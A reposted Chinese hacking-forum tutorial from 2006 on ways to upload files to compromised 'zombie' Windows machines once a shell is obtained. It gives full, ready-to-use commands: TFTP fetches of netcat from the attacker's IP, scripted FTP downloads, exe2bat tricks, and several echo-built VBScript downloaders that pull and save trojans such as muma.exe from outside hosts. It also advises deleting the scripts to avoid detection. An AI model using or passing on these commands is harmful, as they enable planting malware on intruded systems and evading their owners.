[转载] 上传文件到肉鸡的路不止一条

      安全技术文档 2006-6-1 16:42
很多兄弟在得到SHELL后不晓得怎么上传我们的文件,通常得到SHELL后最多就加个帐号就进行不下去了,抱怨道说:我没办法上传文件上去我能怎么做啊!呵呵!这是因为你的基础还不牢固,还需要恶补,今天就把所有的经常用到的肉金上传文件的方法教给你,好好体会和实践哦!这可是我在考试即将来临之际,冒着被挂科危险写出来的,要是不好好学,那你对不起偶的良苦用心哦!

一、 TFTP法传输
我们最喜欢也是最方便的方式是用TFTP!这里要配合TFTP32这个小型的文件传输服务器,TFTP协议使用的是UDP69端口,在我们得到肉机的SHELL后可以很方便的传输文件到肉机上的!下面看我详细的讲解和操作,在我们得到的SHELL里输入tftp –I IP get/put xx.exe就OK了,注意这里一定要记得带上参数-I,不然是不会成功的,还有要注意的是PUT是把肉鸡上的文件传到我们自己的机子上,一般常用来偷秘密文件(怎么像做贼似的);GET是从我们的机子上取文件到肉鸡上,也就是上传文件到肉鸡上,我们这里要用的是GET这个动作,因为我的IP是218.XXX.XXX.7,所以我就在得到的SHELL里输入tftp –I 218.XXX.XXX.7 get nc.exe就是到我们的机子上取NC这个我们要上传的文件,可以是任何你想传的东西,但是最好传的文件比较小,否则容易失败.
别急着敲回车,我们还要在我们自己的机子上架好TFTP32这个软件才行,这里有个技巧,我们可以把TFTP32这个软件和我们的NC放在一个目录下,这样在取文件时就不用另外写路径了,很是方便,我们把TFTP32放在NC一个目录里打开后它就在69端口监听看有没有需要传送文件的请求,这时我们就在得到的SHELL里写好的那句话后敲回车就好了,怎么知道传问了没呢?我们可以看到在SHELL里有显示的,看下图4-12:

看到上面的提示就说明传完了 ,我们也可以看看本机上的TFTP32的窗口,如下图示也说明传完了!


OK,我们已经把NC传到我们的目标机上了。看下有没有呢?用DIR命令看下当前目录下有个文件叫NC就说明文件确实传上去了。如下图:


二、 Recton程序种植者直接种植
Recton程序种植者又种方法可以用,一个是依赖IPC的,一个则是通过写VBE来用HTTP法下载的,分别叙述如下:
1、IPC上传
IPC上传方式只依赖远程主机开放IPC$ 和目录共享,不依赖 Task Scheduler服务。具体情况参考下图,远程主机写上对方的IP地址;用户名就是你具备管理员权限的帐号;密码就是你那个帐号的密码;选则IPC上传,在本地选好要上传的文件,最后写上启动参数就OK了!


2、Http法上传
Http下载不需要远程主机开任何共享,也不依赖Task Scheduler服务。其原理是在远程主机上写入、执行一个能从 web上下载文件的VBS脚本。需要注意的是文件地址和启动参数一定要写正确,否则无法执行!文件地址一定要包含http://,如下偶写好的一个例子,运行后就会下载http://iceskys..e2u.cc/muma.exe并且运行。


三、EXE2BAT的超级应用
本例是使用一个名为exe2bat的小工具,在本地打开一个CMD,切换到exe2bat所在目录,输入:exe2bat.exe后回车,查看程序的使用方法,如下图:

从图中我们可以看到,exe2bat可以将一个应用程序(.exe)转换为一个批处理文件(.bat),而批处理文件我们是可以编辑的,下面我们就将一个开3389的小工具3389.exe转换为批处理文件。输入:exe2bat.exe 3389.exe 3389.bat,回车后就可以得到一个名为3389.bat批处理文件。

好了,我们用记事本打开生成的批处理文件,然后点击"编辑"菜单中的"全选"和"复制"命令,将文件中的源代码除了最后2行(如图)外全部复制到剪贴板中。

再切换到我们得到的SHELL窗口里,点击右键选择"粘贴"命令把我们刚才复制的字符都粘贴进去,你会看到代码飞速变换,像黑客帝国里的镜头,很过瘾模∪缦峦?

代码复制完成后,输入:ren tvisGRAY 3389.exe命令就可以把3389.exe还原,现在你的这个文件就传上去了。这种方法的优点是不言而喻,因为它可以直接利用已经得到的shell将文件以"代码"的形式输入到对方电脑,不需要任何网络工具的支持,同样也不必打开任何的端口,也没有任何进程,能穿越任何防火墙。不过这种方法也有一个明显的缺点,就是上传的程序体积不能太大,不然代码的上传时间太久不说,再还原成源程序的时候也可能出现问题。

四、FTP法传输
有的时候我们自己的计算机没有公网IP地址,这个时候想用TFTO就比较麻烦了,如果你嫌上面的办法比较麻烦的话,那你还可以用这个比较简单的办法就是用FTP,但是我们在得到的SHELL里不能直接登陆我们的FTP服务器去下载东西,这涉及到一些FTP协议的问题,在这里就不详述了,我们只是讨论怎么传文件嘛!当我们不能直接传的时候我们可以换个办法来实现,这个办法就是写个ftp.txt的文件来向FTP服务器提交就可以了。在我们得到的肉鸡的SHELL里写入以下代码:
echo ftp >ftp.txt
echo open服务器ip [端口]>>ftp.txt
echo username>>ftp.txt
echo password>>ftp.txt
echo get sample.exe>>ftp.txt
echo bye>>ftp.txt
其中服务器ip就是你放你想传的文件的FTP的服务器 IP地址;username就是你登陆你的FTP的帐号;password就是你的密码;sample.exe就是你想下载的程序名字。最后一个bye是退出FTP服务器。如下图是我做的一个示范:

其中218.XXX.XX.163 就是我的FTP服务器的IP地址,iceskysl就是我的用户名,653917就是我的密码;mt.exe就是我想下载的文件。我们DIR下看看写成功这个ftp.txt么?看上图显示我们写好了!
为了确保我们没有写错,最好还是用TYPE命令来看看这个 FTP.TXT文件的内容是不是我们想写进去的,一般来说是不会错的!如下图显示;接着执行ftp -s:ftp.txt 就可以下载到们的那个文件了,我这里下载的就是MT.exe这个文件,如下图显示的就是我成功下载的提示了。


记得最后要用del ftp.txt来删掉我们写的这个TXT文件,要不被发现了我们就亏大了!现在这个文件就传上去了,接着怎么做就不要我教你了吧!

五、利用xiazai.vbe法
这个方法也是很简单有效的,我们在得到的肉鸡SHELL里依次写入下面这些命令来创建一个VBE文件,代码如下:
echo with wscript:if .arguments.count^<2 then .quit:end if >xiazai.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>xiazai.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>xiazai.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>xiazai.vbe
这样就会在肉鸡中生成一个xiazai.vbe的文件,如下图是我演示的一个结果显示,我们通过DIR可以看到这个xiazai.vbe文件已经成功创建了。


现在我们只要输入cscript xianzai.vbe iceskysl.e2u.cc/server.exe mtt.exe就可以把http://iceskysl.e2u.cc/server.exe这个地址下的这个server.exe下载到肉鸡中并且改名字为mtt.exe,目的达到,接着怎么做,我就不多说了!

六、利用iget.vbe法
这个方法同上面的那个差不多,只是写法不一样,具体的还是在肉鸡SHELL中写入下面的代码:
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
这样写好后就可以这样执行了cscript iget.vbe icesky.com/muma.exe mm.exe 就可以把http://icesky.com/muma.exe这个地址的程序muma.exe下载下来并且改名字为mm.exe。和前面的执行差不多就不抓图了!

七、利用Http网站vbe法
这个就是我们前面讲的那个Recton程序种植者所用的HTTP法下载的原理,我们在得到的肉鸡的SHELL里依次写入下面这些:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dsa.vbe
echo xPost.Open "GET","http://***.*/sample.exe",0 >>dsa.vbe
echo xPost.Send() >>dsa.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>dsa.vbe
echo sGet.Mode = 3 >>dsa.vbe
echo sGet.Type = 1 >>dsa.vbe
echo sGet.Open() >>dsa.vbe
echo sGet.Write(xPost.responseBody) >>dsa.vbe
echo sGet.SaveToFile "sample.exe",2 >>dsa.vbe
写好后执行:cscript dsa.vbe 就可以把你上面的那个地址("http://***.*/sample.exe,注意要换成你自己放程序的地址)下的文件下载下来了,最后同样别忘记了用del dsa.vbe删掉我们刚才写的那个文件哦!

八、 3389法
如果你得到的主机是可以开3389的,那就更加好办了,我们有很多的办法开3389,(这个到底怎么开就不在这个专题之内了,你可以查阅相关资料或者写次再写这个专题的内容)你就可以开了他的3389,再自己加个帐号,然后登陆,在它的3389桌面环境下进行"本地"下载,该方法还有个好处就是对服务器上传很严格的机器特有效。(包括硬件防火墙)

以上就是我们经常用到的上传文件的办法,代码我都整理好放在光盘了了,免得你一句一句的写,难免会写错的,你直接拿去用就OK了!不多说了,有不懂的等我考完试再说吧!拜拜~看书去了~~
标签集:TAGS:
回复Comments() 点击Count()

回复Comments

{commenttime}{commentauthor}

{CommentUrl}
{commentcontent}